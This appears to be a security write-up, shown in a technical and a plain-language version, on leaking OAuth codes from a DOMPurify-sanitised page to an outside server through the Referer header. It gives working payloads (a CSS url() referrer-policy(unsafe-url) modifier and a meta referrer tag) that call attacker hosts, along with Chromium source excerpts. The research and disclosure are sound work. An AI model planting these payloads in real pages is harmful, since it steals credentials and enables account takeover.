Skip to content
Info disclosure Write-up Advanced

OAuth Token Theft After DOMPurify: Two Chromium Techniques

A page that reflects a URL parameter through DOMPurify into innerHTML can be made to leak its own full URL, including an OAuth code in the query string, to an attacker server. Two Chromium techniques flip the page's referrer policy to unsafe-url without running JavaScript: a CSS url() request modifier, and a meta referrer tag that acts during DOMParser parsing before DOMPurify removes it.

Amirmohammad Safari Follow

Published on blog.voorivex.team

You found a DOMPurify sink. Your first thought is to find a bypass that runs JavaScript.

Amirmohammad Safari, Yashar Shahinzadeh, on blog.voorivex.team

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 10 min read.

Context

This is a write-up about what you can still do when DOMPurify does its job perfectly. The target pattern is a page that takes a value from the URL, runs it through DOMPurify.sanitize(), and writes the result into the DOM with innerHTML. The report calls this the "safe reflection" pattern: DOMPurify strips scripts and event handlers, so no JavaScript placed in the input will run. That property holds throughout the whole article; nothing here is a DOMPurify bypass.

The goal is different. The page is reachable as an OAuth redirect_uri, so the provider's callback URL becomes the page's own URL, with the OAuth code sitting in location.search. If the browser can be made to send that full URL to a server the attacker controls, the code lands in the attacker's logs before the application ever uses it. The exfiltration primitive is the Referer header, and the obstacle is Chrome's default referrer policy.

The work builds on Vsevolod Kokorin's (@slonser_) May 2025 finding, CVE-2025-4664. Chrome reads the Link response header on subresource requests, and that header can set a referrer policy. A server the attacker controls could answer an image request with:

Link: <https://attacker.example/x>; rel=preload; as=image; referrerpolicy=unsafe-url

Chrome obeyed it, changed the referrer policy of the page loading the image to unsafe-url, and then sent the full URL, query string included, in the Referer header. Google fixed it in Chrome 136.0.7103.113, and the report notes it was used in real attacks. The Link-header trick is dead on current Chrome.

The idea behind it is not. The two techniques in this article change the referrer policy from inside the sanitised HTML itself, which is exactly the position you are in with a DOMPurify injection and no script execution. The CVE-2025-4664 fix does not touch either of them.

Setup

The target page is deliberately minimal:

HTML
<script src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.4.13/purify.min.js"></script>

<div id="output"></div>

<script>
  const raw = new URLSearchParams(location.search).get("error_description") || "";
  document.getElementById("output").innerHTML = DOMPurify.sanitize(raw);
</script>

It reads error_description from the query string, sanitises it with DOMPurify 3.4.13, and assigns the result to innerHTML. The page is reachable as an OAuth redirect_uri, so a callback to the provider can be made to land here with the credential in the URL:

https://victim.example/index.html?code=SECRET&error_description=PAYLOAD

The code now sits in location.search next to the attacker's error_description payload. No code can be run to read it, but the browser can be made to send the whole URL to an attacker-controlled server. The preconditions are therefore: a DOMPurify sink that reflects a URL parameter, the page being usable as an OAuth redirect target, and an attacker-controlled host to receive the request. The report cites Chromium source paths and line numbers throughout.

Finding it

The starting observation is that a JavaScript bypass of DOMPurify is a poor bet for most engagements: it gets a CVE in hours and a patch in days, and the door closes before the engagement ends. The known alternative is CSS data theft, where injected CSS leaks the value of an element one character at a time by loading a different background image for each match. That leaks the content of an element. This work leaks something else: the URL itself.

The one thing in the way is Chrome's default referrer policy, strict-origin-when-cross-origin. Under it, a request to another site gets the Referer cut down to the origin only:

Referer: https://victim.example/

The path and query, where the token lives, are removed, so a naive <img src="https://attacker.example/log"> only reveals an origin the attacker already knew. The default is set in blink/common/loader/referrer_utils.cc:39–41:

net::ReferrerPolicy ReferrerUtils::GetDefaultNetReferrerPolicy() {
  return net::ReferrerPolicy::REDUCE_GRANULARITY_ON_TRANSITION_CROSS_ORIGIN;
}

That maps to strict-origin-when-cross-origin. The stripping happens in blink/renderer/platform/weborigin/security_policy.cc (GenerateReferrer):

case ::mojom::ReferrerPolicy::kStrictOriginWhenCrossOrigin: {
  if (!SecurityOrigin::AreSameOrigin(final_referrer_url, url)) {
    return Referrer(
      ShouldHideReferrer(url, final_referrer_url)
        ? Referrer::NoReferrer()
        : get_referrer_origin(),  // ← origin only, no path/query
      referrer_policy_no_default);
  }
  break;
}

The stronger policy is unsafe-url, which maps to kAlways in the code and sends the full URL every time, with no stripping:

case network::mojom::ReferrerPolicy::kAlways:
  return Referrer(final_referrer_url, referrer_policy_no_default);
  // ← full URL, no stripping

So the whole game reduces to one rule: change the page's referrer policy to unsafe-url before the image loads, and the full URL, token and all, goes to the attacker. The two techniques below differ only in how they flip the policy.

Exploitation

Technique 1: CSS url() request modifiers

There are two ways to deliver the payload. An inline style on a single element:

HTML
<div style="background-image:url('https://attacker.example/x' referrer-policy(unsafe-url))"></div>

Or a <style> block that targets every element on the page:

HTML
<style>
  * {
      background-image: url('https://pwnbox.xyz' referrer-policy(unsafe-url))
  }
</style>

Both do the same thing: a background image plus a modifier inside url() that sets the referrer policy for that one request. Use the inline style when you can set an element's attribute, and the <style> block when you can inject a tag but cannot touch a style attribute.

DOMPurify allows the style attribute and tag by default and treats the value as plain, safe text. It never looks inside. From DOMPurify/src/purify.ts:571–586:

const DEFAULT_URI_SAFE_ATTRIBUTES = addToSet({}, [
  'alt', 'class', 'for', 'id', 'label', 'name',
  'pattern', 'placeholder', 'role', 'summary',
  'title', 'value', 'style', 'xmlns',   // ← style is here
]);

The key fact is that DOMPurify has no CSS parser. It does not read the style value, so any CSS Chrome accepts inside url() passes through untouched. style is also on the allowed-attributes list, from DOMPurify/src/attrs.ts:110:

export const html = freeze([
  // ...
  'style',    // ← allowed attribute
  // ...
]);

On the browser side, CSS now lets you add request modifiers inside url(), small functions like referrer-policy() that control how that one resource is fetched. The parser reads the modifier in blink/renderer/core/css/properties/css_parsing_utils.cc:1851–1941 and maps unsafe-url to kAlways:

bool ConsumeUrlRequestModifiers(CSSParserTokenStream& stream,
                                const CSSParserContext& context,
                                CSSUrlRequestModifiers& modifiers) {
  CSSUrlRequestModifiers result;
  while (!stream.AtEnd()) {
    CSSValueID function_id = stream.Peek().FunctionId();
    // ...
    else if (function_id == CSSValueID::kReferrerPolicy) {
      // ...
      case CSSValueID::kUnsafeUrl:
        result.referrer_policy =
            network::mojom::blink::ReferrerPolicy::kAlways; // ← unsafe-url
        break;
      // ...
    }
  }
}

When the browser fetches the background image, it checks for this modifier and uses it instead of the page default, in blink/renderer/core/css/css_image_value.cc:51–72:

FetchParameters CSSImageValue::PrepareFetch(
    const Document& document,
    CrossOriginAttributeValue cross_origin) const {
  const CSSUrlRequestModifiers& modifiers = url_data.GetModifiers();
  // ...
  if (modifiers.referrer_policy) {
    resource_request.SetReferrerPolicy(*modifiers.referrer_policy);
    // ← overrides the page default with unsafe-url
  } else {
    resource_request.SetReferrerPolicy(
        ReferrerUtils::MojoReferrerPolicyResolveDefault(
            referrer.referrer_policy));
  }
  // ...
}

The image request goes out under unsafe-url, and the full URL lands in the attacker's logs. These CSS url() modifiers are new: they shipped in Chrome 150. On older Chrome, use Technique 2.

The sequence is:

  1. DOMPurify.sanitize() sees <div style="...">, treats style as safe, and passes it through unchanged.
  2. innerHTML inserts the div. Chrome parses the CSS and sees referrer-policy(unsafe-url).
  3. The image loads under unsafe-url, for that one request only.
  4. Referer is sent with the full URL: https://victim.example/index.html?code=SECRET&error_description=....

The researchers reported this to the Chromium security team as issue 547329065, expecting it to be treated as a bug. It was closed as N/A, intended behaviour, and the report agrees: referrer-policy() is a documented CSS feature working exactly as specified.

Technique 2: <meta name="referrer"> as a parse side-effect

The payload is:

HTML
<meta name="referrer" content="unsafe-url"><img src="https://attacker.example/log">

The first thought is correct: DOMPurify removes that <meta> tag, because it is not on the allow-list, so the clean output is just the <img>. It does not matter, because the <meta> already did its job before DOMPurify removed it.

DOMPurify does not write its own HTML parser. It hands the string to the browser's DOMParser, from DOMPurify/src/purify.ts:1521–1525:

if (NAMESPACE === HTML_NAMESPACE) {
  try {
    doc = new DOMParser().parseFromString(dirtyPayload, PARSER_MEDIA_TYPE);
  } catch (_) {}
}

The browser parses the whole input into a document first, and only then does DOMPurify walk that document and delete the bad tags. Anything that happens during parsing has already happened.

The surprising part is where that document lives. When Chrome's DOMParser builds a document, the document runs in the real page's window, not a separate sandbox, as shown in blink/renderer/core/xml/dom_parser.cc:37–42:

Document* DOMParser::ParseFromStringWithoutTrustedTypes(
    const String& str, const V8SupportedType& type) {
  Document* doc = DocumentInit::Create()
      .WithURL(window_->Url())
      .WithTypeFrom(type.AsAtomicString())
      .WithExecutionContext(window_)  // ← the LIVE main window
      .WithAgent(*window_->GetAgent())
      .CreateDocument();
  // ...
}

.WithExecutionContext(window_) is the whole story: the parsed document's context is the live main page. While parsing, Chrome hits the <meta> and applies its referrer policy right then, to that execution context, in blink/renderer/core/html/html_meta_element.cc:729–740:

} else if (EqualIgnoringAsciiCase(name_value, "referrer") &&
           GetExecutionContext() && GetDocument().IsActive()) {
  // ...
  GetExecutionContext()->ParseAndSetReferrerPolicy(
      content_value, kPolicySourceMetaTag);
  // ← sets the referrer policy on GetExecutionContext()
  // ...
}

GetExecutionContext() here is the main page's window, so ParseAndSetReferrerPolicy("unsafe-url") runs against the real page. By the time DOMPurify deletes the <meta>, the page's referrer policy is already unsafe-url.

The sequence is:

  1. DOMParser parses the input and hits the <meta>.
  2. The <meta> sets unsafe-url on the real page, during parsing.
  3. DOMPurify cleans up: it removes the <meta> and keeps the <img>.
  4. innerHTML inserts the <img>, which loads under the now-active unsafe-url.
  5. The full URL leaks in Referer.

Root cause

Neither technique is a DOMPurify bug. Cleaning HTML is not the same as making it inert. Two properties of the design combine:

  • The parse itself has side effects. DOMPurify parses with the browser's DOMParser before it sanitises, and that parser runs in the live page's execution context, so a <meta name="referrer"> changes the real page's referrer policy before it is removed.
  • style is an opaque channel. DOMPurify has no CSS parser and treats the attribute and tag as safe text, so CSS features that affect fetching, such as url() request modifiers, pass through untouched and grow in power every time CSS adds a feature.

Existing defences do not stop either path. DOMPurify's allow-list removes the <meta> but cannot undo what parsing already did, and it never inspects the style value. Chrome's default strict-origin-when-cross-origin policy is the only thing that would have kept the query string out of the Referer, and both techniques override it per request or per page. The CVE-2025-4664 fix closed the Link response header route but does not affect policy changes made from inside the HTML.

Impact

When the page is reachable as an OAuth redirect_uri, an attacker who can get the provider to send its callback to the page can have the full callback URL, including the code, sent to a server they control. The token lands in their logs before the application uses it. In an OAuth flow this can lead to account takeover, as the report notes for the original Link-header issue. The attack needs no JavaScript and works with DOMPurify at its strictest.

The conditions are specific: a DOMPurify sink that reflects a URL parameter, the page being usable as the OAuth redirect target so the secret sits in the path or query, and an attacker-controlled host to receive the request. Technique 1 depends on CSS url() request modifiers, which shipped in Chrome 150; on older Chrome, Technique 2 applies. The report does not give a severity or CVSS score.

Fix

No fix is proposed for DOMPurify, because the report treats both behaviours as working as intended: the Chromium team closed issue 547329065 as N/A, intended behaviour, and referrer-policy() is a documented CSS feature. The report does not state that any change was made to the sample page or to DOMPurify.

Variants to test

When you hit a DOMPurify sink with no JavaScript bypass, the report suggests two questions and, from them, these concrete things to try:

  1. Look for a secret in the URL. If the value sits in the path or query, this channel grabs it.
  2. Try Technique 1 when style survives. Inject the inline style payload or the <style> block.
  3. Try Technique 2 when you can inject a tag. Send the <meta name="referrer" content="unsafe-url"> followed by an image or CSS background.
  4. Make sure something loads afterwards. With Technique 2, some image or CSS background must load after the <meta> to carry the URL out.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 19 min read.

What happened, in plain words

Imagine a website that takes a piece of text from the address bar of your browser and displays it on the page. Before displaying it, the site runs that text through a cleaning tool called DOMPurify. DOMPurify is a popular free library whose job is to remove anything dangerous from HTML, the language web pages are written in. It strips out scripts, which are small programs that run inside a page, and it strips out event handlers, which are little triggers attached to page elements. The site then puts the cleaned text into the page.

This pattern is everywhere, and people trust it. The article calls it "safe reflection": the site reflects back what you typed, but only after cleaning it. The whole point of this article is that even when DOMPurify works perfectly, and no JavaScript runs at all, an attacker can still steal a secret. Nothing here is a way to break DOMPurify. It is a way to use the parts of HTML and CSS that DOMPurify deliberately leaves alone.

The secret in question is an OAuth code. OAuth is the system that lets you click "Log in with Google" (or another provider) on a website without giving that website your password. Here is the rough flow: the website sends you to the provider, you log in there, and the provider sends you back to the website with a short-lived code in the address bar. If someone else gets that code before the website uses it, in an OAuth flow this can lead to account takeover.

The trick in this article is to make the victim's browser send its own full address, including the secret code, to a server the attacker controls. The browser can attach the address of the page it came from to a request, in a small note called the Referer header. If the attacker can make that note contain the full address, the code lands in the attacker's logs. The obstacle is that browsers, by default, shorten that note when the request goes to a different website. The article shows two ways to make the browser stop shortening it, using only HTML and CSS that DOMPurify lets through.

Background: Slonser's Link-Header Leak (CVE-2025-4664)

This work builds on a finding by Vsevolod Kokorin, known online as @slonser_, in May 2025.

To understand it, you need two ideas. First, a web page is not one single file. It is usually made of many pieces: the main HTML document, images, stylesheets, fonts, and scripts. Each of those extra pieces is called a subresource, and the browser fetches each one with its own request. Second, a request can carry a Referer header, which is the browser telling the server "I am asking for this because I was on that page." The word is misspelled in the standard, and everyone just lives with it.

Kokorin found that Chrome reads a response header called Link on subresource requests. A response header is a small piece of metadata a server sends back alongside the content. Other browsers do not read Link this way. And that header can set a referrer policy, which is a rule about how much of the address to include in the Referer header.

So if a page loads an image from a server the attacker controls, that server can reply with:

HTTP
Link: <https://attacker.example/x>; rel=preload; as=image; referrerpolicy=unsafe-url

Line by line: Link: is the name of the header. <https://attacker.example/x> is a resource the server is pointing at. rel=preload means "start fetching this early." as=image says the resource is an image. referrerpolicy=unsafe-url is the important part: it tells the browser to use the unsafe-url policy, which means "send the full address, query string and all." A query string is the part of a URL after the question mark, where sites often put parameters and secrets.

Chrome obeyed it. It changed the referrer policy of the page that was loading the image to unsafe-url. Then it sent the full URL, query string and all, in the Referer header. Query strings often hold secrets, so in an OAuth flow this can lead to account takeover.

Google fixed it. It became CVE-2025-4664. A CVE is a public catalogue number for a known security flaw, so people can refer to it unambiguously. The report says it was used in real attacks. It was patched in Chrome 136.0.7103.113. The Link-header trick is dead on current Chrome.

But the idea behind it is not dead. Change the referrer policy from something you control, and a cross-origin image turns into a full-URL leak. Cross-origin means the request goes to a different site than the one the page is on. Slonser's version lived in a response header, which is now blocked. The two tricks below live inside the clean HTML instead. That is exactly where you are when you have a DOMPurify injection but cannot run script. The CVE-2025-4664 fix does not touch either one.

The Target: A Normal DOMPurify Sink

Here is the page. It is as plain as it gets:

HTML
<script src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.4.13/purify.min.js"></script>

<div id="output"></div>

<script>
  const raw = new URLSearchParams(location.search).get("error_description") || "";
  document.getElementById("output").innerHTML = DOMPurify.sanitize(raw);
</script>

Line by line. The first line loads DOMPurify version 3.4.13 from a public content delivery network, which is a service that hosts popular libraries so sites do not have to. The <div id="output"></div> is an empty box on the page with the name output, waiting to be filled. Inside the second <script> block, new URLSearchParams(location.search) takes the query string from the address bar and turns it into a lookup table. .get("error_description") asks that table for the value of the parameter named error_description. The || "" means "if it is missing, use an empty string instead." The last line finds the output box and sets its innerHTML to the sanitised value. innerHTML is the browser feature that turns a string of text into real page elements. That is the sink: the place where attacker-controlled text becomes live page content.

It reads error_description from the URL. It cleans it. It drops it into the page. This is the "safe reflection" pattern everyone trusts. DOMPurify removes scripts and event handlers. So no JavaScript you put in error_description will run. That stays true the whole time. We never break it.

Now the setup. This page is reachable as an OAuth redirect_uri. The redirect_uri is the address the OAuth provider is told to send you back to after login. So think: if you can make the provider send its callback here, the callback URL becomes this page's own URL, token included:

Text
https://victim.example/index.html?code=SECRET&error_description=PAYLOAD

Line by line: https://victim.example/index.html is the page. The ? starts the query string. code=SECRET is the OAuth code, the credential. & separates parameters. error_description=PAYLOAD is the attacker's input, which the page will clean and display.

The code is the credential you want. It now sits in location.search, right next to your error_description payload. location.search is the browser's name for the query string part of the current address. But you cannot run code to read it. What you can do is make the browser send the whole URL to a server you own. If you manage that, the token lands in your logs before the app ever uses it.

The One Obstacle: The Default Referrer Policy

There is exactly one thing in your way. Both tricks beat it the same way. So let's understand it once.

When a browser loads a resource, it can send a Referer header. This header tells the server which page the request came from. Think of it like a return address on an envelope: the recipient knows where the letter came from. Chrome's default policy is strict-origin-when-cross-origin. A policy here is just a rule about how much of that return address to write down. Under this policy, a request to another site gets the Referer cut down to the origin only:

HTTP
Referer: https://victim.example/

Line by line: Referer: is the header name. https://victim.example/ is the origin, which is the scheme plus the host plus the port, with no path and no query string. The path and query, where your token lives, are removed. So the naive attack, <img src="https://attacker.example/log">, only tells you the origin. You already knew that. An <img> tag is just an image on the page; its src attribute is the address the browser fetches.

This default is set in one function, blink/common/loader/referrer_utils.cc:39–41. Blink is the part of Chrome that renders pages, and the file path tells you where in Chrome's source code the rule lives:

Text
net::ReferrerPolicy ReferrerUtils::GetDefaultNetReferrerPolicy() {
  return net::ReferrerPolicy::REDUCE_GRANULARITY_ON_TRANSITION_CROSS_ORIGIN;
}

Line by line: the function is named GetDefaultNetReferrerPolicy, and it returns a constant called REDUCE_GRANULARITY_ON_TRANSITION_CROSS_ORIGIN. "Reduce granularity" means "give less detail." "On transition cross origin" means "when the request goes to a different site." So the default is: when you leave the site, give less detail.

That maps to strict-origin-when-cross-origin. Here is the stripping it does, in blink/renderer/platform/weborigin/security_policy.cc (a function called GenerateReferrer):

Text
case ::mojom::ReferrerPolicy::kStrictOriginWhenCrossOrigin: {
  if (!SecurityOrigin::AreSameOrigin(final_referrer_url, url)) {
    return Referrer(
      ShouldHideReferrer(url, final_referrer_url)
        ? Referrer::NoReferrer()
        : get_referrer_origin(),  // ← origin only, no path/query
      referrer_policy_no_default);
  }
  break;
}

Line by line: this is a branch of a switch statement that handles the kStrictOriginWhenCrossOrigin policy. The if checks whether the page and the target are on the same origin. If they are not, it returns a Referrer. Inside, a ternary expression asks: should the referrer be hidden entirely? If yes, return NoReferrer(), meaning send nothing. If no, return get_referrer_origin(), which is just the origin, with no path and no query. The comment spells it out.

But there is a stronger policy: unsafe-url. Under it, Chrome sends the full URL every time. No stripping:

Text
case network::mojom::ReferrerPolicy::kAlways:
  return Referrer(final_referrer_url, referrer_policy_no_default);
  // ← full URL, no stripping

Line by line: this branch handles the kAlways policy. It returns the full referrer URL, unchanged. The comment says it: full URL, no stripping. unsafe-url maps to kAlways in the code.

So the whole game is simple:

Change the page's referrer policy to unsafe-url before the image loads. Then the full URL, token and all, goes to you.

Both tricks below do this. They only differ in how they flip the policy.

Technique 1: CSS url() Request Modifiers

The payload

CSS is the language that describes how a page looks: colours, fonts, backgrounds. A url() in CSS is a way to point at a resource, usually an image. A request modifier is a small extra instruction you can put inside url() to control how that one resource is fetched.

Two ways to deliver it. First, an inline style on one element:

HTML
<div style="background-image:url('https://attacker.example/x' referrer-policy(unsafe-url))"></div>

Line by line: <div> is a generic box element. style="..." is an attribute that holds CSS directly on the element. background-image:url('https://attacker.example/x' ...) says "use this image as the background." Inside the url(), after the address, comes referrer-policy(unsafe-url), the modifier that tells the browser to use the full-URL policy for this one request. The closing "></div> finishes the tag.

Second, a <style> block that targets every element on the page:

HTML
<style>
  * {
      background-image: url('https://pwnbox.xyz' referrer-policy(unsafe-url))
  }
</style>

Line by line: <style> starts a block of CSS. * is the selector that means "every element." The braces hold the rules. background-image: url('https://pwnbox.xyz' referrer-policy(unsafe-url)) sets the background image for every element, with the same modifier. </style> closes the block.

Both do the same thing. A background image, plus a small modifier inside url() that sets the referrer policy for that one request. Use the inline style when you can set an element's attribute. Use the <style> block when you can inject a tag but cannot touch a style attribute.

Why DOMPurify allows it

DOMPurify allows the style attribute and tag by default. It treats the value as plain, safe text. It never looks inside.

From DOMPurify/src/purify.ts:571–586:

Text
const DEFAULT_URI_SAFE_ATTRIBUTES = addToSet({}, [
  'alt', 'class', 'for', 'id', 'label', 'name',
  'pattern', 'placeholder', 'role', 'summary',
  'title', 'value', 'style', 'xmlns',   // ← style is here
]);

Line by line: this defines a list called DEFAULT_URI_SAFE_ATTRIBUTES, meaning attributes whose values are treated as safe. addToSet({}, [...]) builds a set from the array. The array lists attribute names: alt, class, for, id, label, name, pattern, placeholder, role, summary, title, value, style, xmlns. The comment points at style.

The key fact: DOMPurify has no CSS parser. A parser is a program that reads a language and understands its structure. DOMPurify does not read the style value. So any CSS that Chrome accepts inside url() passes through untouched. To DOMPurify it is just text it trusts. Think of a bouncer who checks IDs at the door but never opens bags: whatever is inside the bag goes in.

style is on the allowed-attributes list too, so nothing else stops it. DOMPurify/src/attrs.ts:110:

Text
export const html = freeze([
  // ...
  'style',    // ← allowed attribute
  // ...
]);

Line by line: this exports a constant called html, frozen so it cannot be changed at runtime. The array lists allowed attributes, and style is one of them. The // ... marks show the list is longer than what is shown.

Why Chrome obeys it

CSS now lets you add request modifiers inside url(). These are small functions like referrer-policy() that control how that one resource is fetched.

The parser reads the modifier here. It maps unsafe-url to kAlways. blink/renderer/core/css/properties/css_parsing_utils.cc:1851–1941:

Text
bool ConsumeUrlRequestModifiers(CSSParserTokenStream& stream,
                                const CSSParserContext& context,
                                CSSUrlRequestModifiers& modifiers) {
  CSSUrlRequestModifiers result;
  while (!stream.AtEnd()) {
    CSSValueID function_id = stream.Peek().FunctionId();
    // ...
    else if (function_id == CSSValueID::kReferrerPolicy) {
      // ...
      case CSSValueID::kUnsafeUrl:
        result.referrer_policy =
            network::mojom::blink::ReferrerPolicy::kAlways; // ← unsafe-url
        break;
      // ...
    }
  }
}

Line by line: the function is called ConsumeUrlRequestModifiers and returns true or false. It takes a stream of CSS tokens, a parsing context, and an output object called modifiers. It creates a result object. The while loop runs until the stream ends. stream.Peek().FunctionId() looks at the next token and asks what function it is. If the function is kReferrerPolicy, it looks at the argument. If the argument is kUnsafeUrl, it sets result.referrer_policy to kAlways, which is the internal name for the full-URL policy. The comment marks it.

When the browser fetches the background image, it checks for this modifier. It uses it instead of the page default. blink/renderer/core/css/css_image_value.cc:51–72:

Text
FetchParameters CSSImageValue::PrepareFetch(
    const Document& document,
    CrossOriginAttributeValue cross_origin) const {
  const CSSUrlRequestModifiers& modifiers = url_data.GetModifiers();
  // ...
  if (modifiers.referrer_policy) {
    resource_request.SetReferrerPolicy(*modifiers.referrer_policy);
    // ← overrides the page default with unsafe-url
  } else {
    resource_request.SetReferrerPolicy(
        ReferrerUtils::MojoReferrerPolicyResolveDefault(
            referrer.referrer_policy));
  }
  // ...
}

Line by line: PrepareFetch is the function that prepares a request for a CSS image. It grabs the modifiers from the URL data. If a referrer policy was set in the modifier, it calls SetReferrerPolicy with that value, overriding the page default. Otherwise, it falls back to the default resolution. The comment marks the override.

So the image request goes out under unsafe-url. The full URL lands in your logs.

Note: these CSS url() modifiers are new. They shipped in Chrome 150. On older Chrome, use Technique 2.

Step by step

  1. DOMPurify.sanitize() sees <div style="...">. It treats style as safe. It passes it through unchanged.
  2. innerHTML inserts the div. Chrome parses the CSS. It sees referrer-policy(unsafe-url).
  3. The image loads under unsafe-url, just for that one request.
  4. Referer is sent with the full URL: https://victim.example/index.html?code=SECRET&error_description=....

We reported this to the Chromium security team (issue 547329065), expecting it to be treated as a bug. They closed it as N/A: intended behaviour. And they're right. referrer-policy() is a documented CSS feature working exactly as specified.

Technique 2: <meta name="referrer"> as a Parse Side-Effect

The payload

HTML
<meta name="referrer" content="unsafe-url"><img src="https://attacker.example/log">

Line by line: <meta> is a tag that carries information about the page rather than visible content. name="referrer" says this meta tag is about the referrer policy. content="unsafe-url" sets the policy to the full-URL one. Then <img src="https://attacker.example/log"> is an image whose address is the attacker's server, so loading it sends a request there.

Your first thought is right: DOMPurify removes that <meta> tag. It is not on the allow-list. So the clean output is just the <img>.

It does not matter. The <meta> already did its job before DOMPurify removed it.

Why: DOMPurify parses first, cleans second

DOMPurify does not write its own HTML parser. It hands your string to the browser's DOMParser. DOMPurify/src/purify.ts:1521–1525:

Text
if (NAMESPACE === HTML_NAMESPACE) {
  try {
    doc = new DOMParser().parseFromString(dirtyPayload, PARSER_MEDIA_TYPE);
  } catch (_) {}
}

Line by line: if the namespace is HTML, it tries to create a new DOMParser and call parseFromString on the dirty payload, which is the untrusted input. The result is stored in doc. The try/catch swallows any error. So the browser parses your whole input into a document first. Only then does DOMPurify walk that document and delete the bad tags. Anything that happens during parsing has already happened. Think of a cleaner who inspects a room after the party: the mess was already made.

Why: the parser shares the live page

Here is the surprising part. When Chrome's DOMParser builds a document, that document runs in the real page's window. Not a safe, separate sandbox. A sandbox here would be an isolated environment where side effects cannot reach the real page. blink/renderer/core/xml/dom_parser.cc:37–42:

Text
Document* DOMParser::ParseFromStringWithoutTrustedTypes(
    const String& str, const V8SupportedType& type) {
  Document* doc = DocumentInit::Create()
      .WithURL(window_->Url())
      .WithTypeFrom(type.AsAtomicString())
      .WithExecutionContext(window_)  // ← the LIVE main window
      .WithAgent(*window_->GetAgent())
      .CreateDocument();
  // ...
}

Line by line: the function takes a string and a type. It creates a document using a builder called DocumentInit. WithURL(window_->Url()) gives it the same URL as the real page. WithTypeFrom sets the document type. WithExecutionContext(window_) gives it the live main window as its execution context, which is the environment where code and parsing side effects happen. WithAgent ties it to the same browser agent. The comment marks the live window.

.WithExecutionContext(window_) is the whole story. The parsed document's context is the live main page.

Why: <meta name="referrer"> acts during parsing

While parsing, Chrome hits the <meta>. It applies its referrer policy right then, to that execution context, which is the real page. blink/renderer/core/html/html_meta_element.cc:729–740:

Text
} else if (EqualIgnoringAsciiCase(name_value, "referrer") &&
           GetExecutionContext() && GetDocument().IsActive()) {
  // ...
  GetExecutionContext()->ParseAndSetReferrerPolicy(
      content_value, kPolicySourceMetaTag);
  // ← sets the referrer policy on GetExecutionContext()
  // ...
}

Line by line: this is a branch of an if/else if chain. It checks that the meta tag's name is referrer, ignoring case, that there is an execution context, and that the document is active. Then it calls ParseAndSetReferrerPolicy on that execution context, passing the content value and a source marker saying it came from a meta tag. The comment marks the effect.

GetExecutionContext() here is the main page's window. So ParseAndSetReferrerPolicy("unsafe-url") runs against the real page. By the time DOMPurify deletes the <meta>, the page's referrer policy is already unsafe-url.

Step by step

  1. DOMParser parses your input. It hits the <meta>.
  2. The <meta> sets unsafe-url on the real page, during parsing.
  3. DOMPurify cleans up. It removes the <meta>. It keeps the <img>.
  4. innerHTML inserts the <img>. It loads under the now-active unsafe-url.
  5. The full URL leaks in Referer.

The Hunter's Checklist

When you hit a DOMPurify sink and there is no JS bypass, do not close the tab. Ask two questions:

  1. Can I chain this to steal a secret in the URL, like an OAuth code? If the value sits in the path or query, this channel grabs it.
  2. Which payload fits? If style survives, Technique 1 is one self-contained div. If you would rather not rely on the CSS feature, Technique 2's <meta> flips the whole page's policy during parsing. Just make sure some image or CSS background loads after it, to carry the URL out.

None of this is a DOMPurify bug. That is the point. Cleaning HTML is not the same as making it inert. Inert means doing nothing at all when it is inserted. The parse itself has side effects. And style is an opaque channel that grows every time CSS adds a feature. Opaque here means DOMPurify cannot see inside it. When JavaScript is off the table, the referrer becomes the exfiltration primitive nobody planned for. Exfiltration means getting data out of a place it was supposed to stay.

Happy hunting!

Glossary

  • API: a defined way for one piece of software to talk to another, like a service counter with set rules.
  • Attribute: a named setting inside an HTML tag, such as style or src.
  • Background image: a picture a CSS rule paints behind an element.
  • Blink: the rendering engine inside Chrome that turns HTML and CSS into a visible page.
  • Chrome: Google's web browser.
  • Content delivery network (CDN): a service that hosts common files so sites can load them quickly.
  • Cross-origin: a request from one site to a different site, meaning a different scheme, host or port.
  • CSS: the language that describes how a page looks.
  • CSS parser: a program that reads CSS and understands its structure.
  • CVE: a public catalogue number for a known security flaw.
  • DOMParser: the browser feature that turns a string of HTML into a document object.
  • DOMPurify: a free library that removes dangerous parts from HTML before a page displays it.
  • DOM: the tree of elements a browser builds from a page, which scripts and styles can act on.
  • Event handler: a small trigger attached to an element, such as "run this when clicked."
  • Execution context: the environment where code and parsing side effects happen, tied to a window.
  • Exfiltration: getting data out of a place it was supposed to stay.
  • Header: a small piece of metadata sent with a request or response.
  • HTML: the language web pages are written in.
  • innerHTML: the browser feature that turns a string into real page elements.
  • Inert: doing nothing at all when inserted into a page.
  • Inline style: CSS written directly in a style attribute on one element.
  • JavaScript: the programming language that runs inside web pages.
  • Link header: a response header that can point at resources and, in the old bug, set a referrer policy.
  • location.search: the browser's name for the query string part of the current address.
  • OAuth: the system that lets you log in to a site through another provider without sharing your password.
  • OAuth code: a short-lived credential the provider sends back, which the site swaps for an access token.
  • Origin: the scheme plus host plus port of a URL, with no path or query.
  • Parameter: a named value in a query string, such as code=SECRET.
  • Parser: a program that reads a language and understands its structure.
  • Payload: the input an attacker sends to trigger an effect.
  • Query string: the part of a URL after the question mark, often holding parameters and secrets.
  • redirect_uri: the address an OAuth provider is told to send the user back to.
  • Referer header: the note a browser attaches to a request saying which page it came from.
  • Referrer policy: a rule about how much of the address to include in the Referer header.
  • Request modifier: a small instruction inside CSS url() that controls how that one resource is fetched.
  • Response header: metadata a server sends back alongside content.
  • Sandbox: an isolated environment where side effects cannot reach the real page.
  • Sink: the place where untrusted text becomes live page content.
  • strict-origin-when-cross-origin: Chrome's default referrer policy, which sends only the origin to other sites.
  • Subresource: an extra piece a page loads, such as an image, stylesheet or font.
  • Token: a temporary key that proves who you are.
  • unsafe-url: a referrer policy that sends the full URL, query string and all.
  • url(): a CSS way to point at a resource, usually an image.
  • XSS: a class of flaw where attacker text becomes live page content and runs as code.

More by Amirmohammad Safari

View all

1 more disclosed report, best first.

Similar reports

View all

Same bug class and techniques, clearest first.

Information disclosure

The lesson behind this report.

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.